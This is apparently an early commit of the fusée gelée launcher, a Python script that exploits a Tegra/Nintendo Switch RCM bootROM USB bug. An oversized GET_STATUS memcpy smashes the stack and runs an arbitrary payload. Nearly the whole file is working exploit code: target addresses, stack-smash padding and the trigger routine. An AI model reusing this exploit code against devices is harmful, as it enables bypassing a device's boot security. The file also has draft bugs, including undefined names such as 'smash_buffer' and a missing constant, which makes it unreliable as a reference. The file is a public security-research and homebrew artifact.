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https://github.com/Qyriad/fusee-launcher.git
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Remove the matcheshash file
It only needs to be in the history to prove that a file with its hash existed at some point.
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#!/usr/bin/env python3
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#
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# fusée gelée
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#
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# Launcher for the {re}switched coldboot/bootrom hacks--
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# launches payloads above the Horizon
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#
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# discovery and implementation by @ktemkin
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# likely independently discovered by lots of others <3
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#
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# special thanks to:
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# SciresM, motezazer -- guidance and support
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# hedgeberg, andeor -- dumping the Jetson bootROM
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# TuxSH -- for IDB notes that were nice to peek at
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#
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import usb
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import time
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# notes:
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# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
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# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
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# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
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class RCMHax:
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# FIXME: these are the jetson's; replace me with the Switch's
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SWITCH_RCM_VID = 0x0955
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SWITCH_RCM_PID = 0X7321
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# USB constants used
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STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
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STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
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GET_DESCRIPTOR = 0x6
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GET_CONFIGURATION = 0x8
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# Interface requests
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GET_STATUS = 0x0
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# Exploit specifics
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COPY_START_ADDRESS = 0x40003982
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COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
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STACK_END = 0x40010000
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def __init__(self):
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""" Set up our RCM hack connection."""
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# The first write into the bootROM touches the lowbuffer.
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self.current_buffer = 0
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# Grab a connection to the USB device itself.
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self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
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# Keep track of the total amount written.
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self.total_written = 0
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if self.dev is None:
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raise IOError("No Switch found?")
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def get_device_descriptor(self):
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return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
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def read(self, length):
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""" Reads data from the RCM protocol endpoint. """
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return self.dev.read(0x81, length, 1000)
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def write(self, data):
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""" Writes data to the main RCM protocol endpoint. """
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length = len(data)
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packet_size = 0x1000
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while length:
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data_to_transmit = min(length, packet_size)
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length -= data_to_transmit
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chunk = data[:data_to_transmit]
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data = data[data_to_transmit:]
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self.write_single_buffer(chunk)
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def write_single_buffer(self, data):
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"""
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Writes a single RCM buffer, which should be 0x1000 long.
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The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
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If it's not, send a ZLP.
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"""
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self._toggle_buffer()
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return self.dev.write(0x01, data, 1000)
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def _toggle_buffer(self):
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"""
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Toggles the active target buffer, paralleling the operation happening in
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RCM on the X1 device.
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"""
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self.current_buffer = 1 - self.current_buffer
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def get_current_buffer_address(self):
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""" Returns the base address for the current copy. """
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return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
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def read_device_id(self):
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""" Reads the Device ID via RCM. Only valid at the start of the communication. """
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return self.read(16)
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def switch_to_highbuf(self):
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""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
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if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
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switch.write(smash_buffer)
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def trigger_controlled_memcpy(self, length=None):
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""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
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# Determine how much we'd need to transmit to smash the full stack.
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if length is None:
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length = self.STACK_END - self.get_current_buffer_address()
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return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
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# Get a connection to our device
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switch = RCMHax()
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print("Switch device id: {}".format(switch.read_device_id()))
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# Prefix the image with an RCM command, so it winds up loaded into memory
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# at the right location (0x40010000).
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# Use the maximum length so we can transmit as much payload as we want;
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# we'll take over before we get to the end.
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length = 0x30298
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payload = length.to_bytes(4, byteorder='little')
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# pad out to 680 so the payload starts at the right address in IRAM
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payload += b'\0' * (680 - len(payload))
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# for now, populate from [0x40010000, 0x40020000) with the payload address,
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# ensuring we smash the stack properly; we can pull this down once we figure
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# out the stack frame we're actually in for sure
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print("Setting ourselves up to smash the stack...")
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payload_location = 0x40020000
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payload_location_raw = payload_location.to_bytes(4, byteorder='little')
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payload += (payload_location_raw * 16384) # TODO: remove this magic number
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# read the payload into memory
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with open("payload.bin", "rb") as f:
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payload += f.read()
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# pad the payload to fill a request exactly
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payload_length = len(payload)
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padding_size = 0x1000 - (payload_length % 0x1000)
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payload += (b'\0' * padding_size)
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# send the payload
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print("Uploading payload...")
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switch.write(payload)
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# smash less as a first test
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print("Smashing the stack...")
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switch.switch_to_highbuf()
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try:
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switch.trigger_controlled_memcpy()
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except IOError:
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print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")
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